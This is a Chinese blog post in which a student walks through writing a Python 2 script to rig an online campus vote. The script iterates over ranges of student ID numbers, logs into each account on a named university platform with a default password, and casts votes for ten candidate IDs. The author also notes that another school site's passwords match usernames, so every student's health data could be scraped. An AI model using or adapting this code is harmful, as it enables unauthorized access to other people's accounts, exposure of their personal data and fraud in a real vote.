标签:
今天一同学找到我问我会不会写刷票的软件,因为这个投票活动有别的学院的人用脚本刷票了
我想,天哪,我们计算机学院都还没用脚本呢都被外院抢先了= =
所以研究研究动手写一下
还是老方法,登陆一下抓下包就搞定了- -登陆账号是学号,密码默认值好多好多人都没有改。(所以你用个脚本登陆这个平台抓个人信息也是能抓一些的,我看了看倒没什么敏感信息。ps:之前学校体测网站,默认密码并不是身份证后六位,而是用户名和密码一样,你要是有心去爬,全校所有人的身高体重等信息都能抓下来)
这个post方法就是我们要找的了,返回的状态码还是302重定位的呢- -当然你要是登不上去就是200
果不其然又是明文啊,但是最后的__hash__是哪来的,还得费一番功夫找一找。
我一开始以为是在网页的源代码里面用某种hash函数生成的。所以就直接搜hash,但是并没有找到,我就懵逼了(这里是个大坑,最后再讲,我是写完了代码之后又去研究了研究才知道问题出在哪),然后百度了半天没有所以然,正当我一筹莫展的时候同学说有个大神给他写过一个py代码了,就是他运行着有点问题= =我说那感情好你直接给我看看
一看倒挺好,人家params里面都没有写这个,那就先不管了。
看了看发现人家代码直接就能跑= =(当时我在想要我有什么用),不过连判断有没有登陆成功以及票是否投过了的判断都没有,只是写了post的代码,所以就帮忙加点东西上去好了= =
我之前用过requests,但是这个库要另外安装,发给别人用别人装起来也麻烦,大腿正好拿的urllib2写的,我正好学习学习。
先从另一篇文章引用过来一些讲解,http://www.cnblogs.com/sysu-blackbear/p/3629770.html
然后写个用POST方法来访问网站的方式(用urllib2模拟一起post过程):
#! /usr/bin/env python #coding=utf-8 import urllib2 import urllib import cookielib def login(): email = raw_input("请输入用户名:") pwd = raw_input("请输入密码:") data={"email":email,"password":pwd} #登陆用户名和密码 post_data=urllib.urlencode(data) #将post消息化成可以让服务器编码的方式 cj=cookielib.CookieJar() #获取cookiejar实例 opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) #自己设置User-Agent(可用于伪造获取,防止某些网站防ip注入) headers ={"User-agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"} website = raw_input('请输入网址:') req=urllib2.Request(website,post_data,headers) content=opener.open(req) print content.read() #linux下没有gbk编码,只有utf-8编码 if __name__ == '__main__': login()对比着大腿先写好的代码一看,就明了了:
import urllib2 import cookielib pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497] for sno in range(8153200, 8153400): # create cookie cookieJar = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar)) # login params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=xxxxxx&login=%E7%99%BB+%E5%BD%95' req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params) page = opener.open(req) for id in pid: # vote params = 'id=160367&pid=%d' % id req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params) page = opener.open(req) print sno新学到了好多知识哟,下次我也能用urllib2写了。
不过还是放一下怎么找到投票的地方吧,虽然大腿写过了不过我也去验证了一下。
这个就是投票的post了
下面的pid就是候选人的代码,打开有候选人的网页直接看html源码就能找到这个pid
投一票成功了就是这样
所以我做的也就是写点判断语句,首先是能否登陆成功,再看票是不是投过了,没投过就投一下就行了- -
附上代码,
# coding=utf-8 import urllib2 import cookielib import re pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]#候选人的ID sum0=0#成功投票的人数 def Vote(): for id in pid: # vote params = 'id=160367&pid=%d' % id req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params) page = opener.open(req) for sno in range(8143131, 8143200): print sno # create cookie cookieJar = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar)) # login params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=111111&login=%E7%99%BB+%E5%BD%95' req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params) page = opener.open(req) m=re.search(r'中国矿业大学大学生实践成长服务平台',page.read())#判断能否登陆成功 if m: print '登陆成功' else: print '登录失败' req=urllib2.Request('http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=index&id=160367') page=opener.open(req) m1=re.search(r'票已投完',page.read())#判断是不是可以投票 if m1: print '该账号已投票' else: Vote() print '投票成功' sum0+=1 print "成功投票%d人"%sum0运行效果
再给你们讲一下神坑,因为抓包的时候打开页面以后我就把之前的都清理了。后来不清了,发现当你打开页面的时候
神特么放在这里,真是有病
标签:
原文地址:http://blog.csdn.net/sinat_18497785/article/details/51226625